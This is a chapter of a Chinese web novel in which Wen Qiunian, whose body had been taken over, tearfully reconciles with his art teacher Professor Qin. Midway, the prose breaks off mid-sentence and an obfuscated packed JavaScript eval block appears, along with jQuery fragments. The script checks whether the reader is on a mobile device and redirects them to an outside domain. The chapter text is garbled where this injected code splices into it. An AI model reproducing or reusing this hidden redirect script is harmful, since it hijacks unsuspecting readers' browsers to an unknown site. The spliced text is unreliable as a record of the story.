19.老师

作品:《被夺走身体后他回来了

    温秋年在上课铃声响起前一秒,堪堪抵达了画室。


    他因为生病请了几天假,班上的同学见到他也没什么异样的表情,151说过,它的宿主对艺术类课程毫无兴趣,只要做到不被挂科,基本上都是能请假就请假。


    反正温秋年身体确实不好,那一长串病历怼上去,辅导员也不敢不批假。


    几乎是他刚一坐下,秦教授和乔思榆后脚就进门了,今天的课程内容是静物素描,几个同学被派去储藏室选静物,摆好造型后就开始画,画室非常安静,只有画笔落在白纸上的“沙沙”声。


    “秋年,你身体怎么样了?有好些吗?”乔思榆不知何时走到了温秋年旁边,悄声问道。


    温秋年和她说了自己生病的事,但是没提严重到住院的程度,所以只简单带过:“已经没事了,谢谢学姐关心。”


    乔思榆有些欲言又止,迟迟没从温秋年旁边离开,他敏锐地察觉到了,放下画笔,抬头问道:“学姐,是有什么事要和我说吗?”


    乔思榆见他看穿了,索性摊牌:“秋年,你下课后,不然找老师谈谈?他好像对你有些误会。”


    她说得委婉,实际上秦教授那天看过温秋年的画之后,辗转反侧了一晚上,第二天想着找他聊聊,结果得知这人又请假的消息,顿时火冒三丈。


    其实这也怨不得秦教授,实在是前两年“温秋年”做得过分,一学期下来都没露过几次面。刚开始秦教授还以为他是真的身体不适,结果某次受邀参加慈善晚宴,一眼就看见他这个学生和几个富少坐在一起,言笑晏晏,完全看不出一丝病弱模样。


    后面他彻底失望,就也不再过问,结果温秋年开学第一天露了个面,又故技重施请了好几天病假,差点没给他憋出一口老血。


    “什么生病?我看是我这庙小!容不下他这尊大佛!”秦教授当着乔思榆的面,把桌案拍得震天响,满脸通红,“算我看走眼了,以后我再管他名字就倒过来写!”


    乔思榆被吓了一跳,饶是秦教授脾气一向古怪,但她也没见过他发这么大的火,更不敢相信,老师与温秋年的隔阂已经到了如此程度。


    但她始终相信温秋年,在她眼里,温秋年脆弱、敏感,当他拿起画笔时,眼神里的光明亮得惊人。他一旦扑在画作上,吃饭睡觉都能忘记,弄得他的小竹马成天守在画室逮人,看自己的眼神也凉飕飕的。


    这样的孩子,怎么可能说出“只是玩票”几个字的呢?


    听了她的话,温秋年的眼神黯了黯,自从得知那冒牌货用他的身体、他的声音在恩师面前表达了对艺术的轻蔑和玩弄,他就像是只蜗牛,只敢蜷缩在厚重的壳里,不敢面对秦教授失望的目光。


    但他还是轻声应了:“好。”


    听他这么一说,乔思榆也放心了,点点头,转而回到了讲台边,秦教授的余光一直注视着他们的方向,见她回来却一言不发。


    两个小时的课程转瞬即逝,下课铃声响起后,几个学生围在温秋年的画板前,目光里满是无法掩饰的赞叹。


    明明画的是一样的东西,却肉眼可见的能看出差别,温秋年的对笔触的控制显然到了一种常人无法匹及的程度,让一副平平无奇的素描也拥有了巨大的张力。


    这该死的、让人无法忽视的天赋!


    秦教授几乎是咬牙切齿地想着,他想迅速离开画室,脚步却无法控制地停留在了温秋年面前,声音也挣破主人的束缚,从喉咙里冒出:“温秋年,你来我办公室一趟。”


    温秋年收拾画具的手一顿,乖顺地点点头,在乔思榆鼓励的目光下,跟着秦教授走出了画室。


    ……


    秦教授的水杯重重搁在桌上,他的态度算不上好,随手一指办公桌对面的椅子:“坐。”


    温秋年拉开椅子,安静地坐下,秦教授看着他那副低眉顺眼的模样,满腔怒火突然就不知道该往哪里发。


    他扭开水杯,给自己灌了好几大口水,才开口道:“你怎么想的?说说吧。”


    温秋年心绪混乱极了,张了张口,却说不出话来,秦教授看在眼里,惹得他心头火气,声音不自觉拔高,带着一种恨铁不成钢的痛惜。


    “你有天赋,这很难得,但艺术这条路上,从不缺昙花一现的天才!这两年你想来就来,想走就走,把它当玩票,当儿戏。现在是有觉得好玩了,感觉随便涂抹两下就有人喝彩是不是?”


    他逼视着温秋年的眼睛,以为会从里面看到慌乱和心虚,但没有,那双漂亮的眸子里,尽是他看不懂的沉痛与哀伤。


    千娇万宠的温小少爷,为什么会露出这么绝望的眼神呢?


    温秋年沉默了足足半分钟之久,他的手无意识地攥紧,指节发白,再开口时声音沙哑,带着一丝挥之不去的疲惫。


    “老……秦教授,对不起,是我让您失望了。”


    秦教授心头一颤,坐直身体,将语气放缓了些:“温秋年,我不想听这些道歉的话,告诉我,你是终于看腻了你们圈里的那些浮华派对,想要回来认真对待你的天赋;还是说依旧只把它当成个消遣的玩意,闲暇时就回来看看?”


    “我要听你一句实话。”


    这番振聋发聩的话落在温秋年耳朵里,让他呼吸急促,像是溺水了一般,但他拼命要勾住那根浮木,挣扎地往上爬,于是,他听见了自己的声音,字字清晰。


    “教授,请您……再给我一次机会。”


    “画画对我来说,是唯一能抓住的,让我感觉我还活着的东西。”


    秦教授久久没有回话,温秋年以为他是彻底对自己失望了,绝望如潮水一般在心底蔓延,但下一秒,他感受到一双大手拂过他的头发,随即秦教授无奈的声音响起。


    “还叫教授呢?叫老师啊!”


    “年轻人真是不经说,这才几句话,就一副要哭的样子呢?”


    温秋年愣愣地看着秦教授,再也无法抑制住心内的苦楚,眼泪如断了线的珠子一般掉落。


    秦教授被吓得手忙脚乱,抽纸帮他擦泪,嘴上却不饶人:“早干嘛去了?现在知道后悔了,当初为什么要……我不说了不说了,别哭啊……”


    温秋年任由秦教授


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463110|184879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    帮他擦泪,他哭起来没有声音,就安静地坐着,大颗大颗的眼泪从眼眶滚落,看得人心里发疼。


    我不知道。


    他在心底默默回应着老师的问话。


    我不知道被选中的人为什么是我。


    我不知道要怎么告诉您,让您失望的那个人并不是我。


    最终,他只是伏在桌面上,发出了一声如同小动物般,压抑细微的呜咽。


    ……


    秦教授好不容易找到了开关,让这个哗啦啦出水的学生停止放水,一推开门,乔思榆正贴在门边试图偷听,差点没摔进去。


    他一言难尽地看了她一眼,心想真该让那群学生看看,他们崇拜的优雅知性的学姐,私下是什么模样。


    乔思榆毫不心虚,整理了一下发型,往里面瞧了瞧:“老师,你们怎么进去了这么久?秋年呢?”


    秦教授冷哼一声:“怎么,怕我把他吃了?”


    “这话说的,人家家属都找过来了,我不得带人来看看情况?”


    秦教授这才注意到站在后方的程沨,这小子他有点印象,高考前温秋年在他家学画,都是这人接送,一张脸和冰块一样,看得人凉飕飕的。


    后面不知道为何,这俩孩子似乎是闹掰了,他这两年都没见过程沨。


    温秋年从洗手间出来,看见办公室的门开了,便跟着走出去,他一露面,程沨就立刻皱起眉,轻抚他的眼眶:“怎么哭了?”


    乔思榆一看,小学弟的眼睛红红的,鼻头也红红的,像是只小兔子,一看就是刚哭过。


    “老师,不是说了让您和秋年好好谈吗?您怎么凶他呢?”乔思榆顿时心疼起来,不由得有些埋怨秦教授。


    秦教授百口莫辩,他以往骂学生可比这回凶多了,学生就算是哭倒长城他的眼皮也不带抬一下,只有温秋年,能让他放下老脸哄老半天。


    “老师没有凶我。”温秋年拍开程沨的手,帮秦教授说话,但他声音沙哑,睫毛也还有些濡湿,看上去十分没有说服力。


    程沨的表情看不出异常,只接过温秋年手上的包,帮他拧开水杯让他喝,对秦教授颔首道:“秦教授,秋年心脏不太好,前天才出院,我理解您严格要求学生,但是也麻烦关照一下他的身体。”


    温秋年咽下几口温水,只觉得脸上躁得慌:“都说了不是老师的问题,谁要你多嘴了?”


    秦教授倒是一愣,他没想到温秋年是真的刚出院,顿觉自己话说重了些,内心漫上一股歉疚。


    他硬气了大半辈子,也说不出道歉的话,只轻咳了一声,别别扭扭道:“有空来家里吃个饭,你师母一直念叨着你。”


    温秋年捕捉到他话里的关心,绽开笑颜,也不顾还有其他两人在场,轻轻抱住了秦教授,像孩子一样将脸埋进了他的肩窝,闷闷道——


    “老师……谢谢您。”


    谢谢您没有放弃我,请您放心,即便时日无多,但在我这具破败身体彻底熄灭之前,我会用尽我灵魂里所有的高光和色彩,全部燃烧在画布上。


    温秋年在心里默念。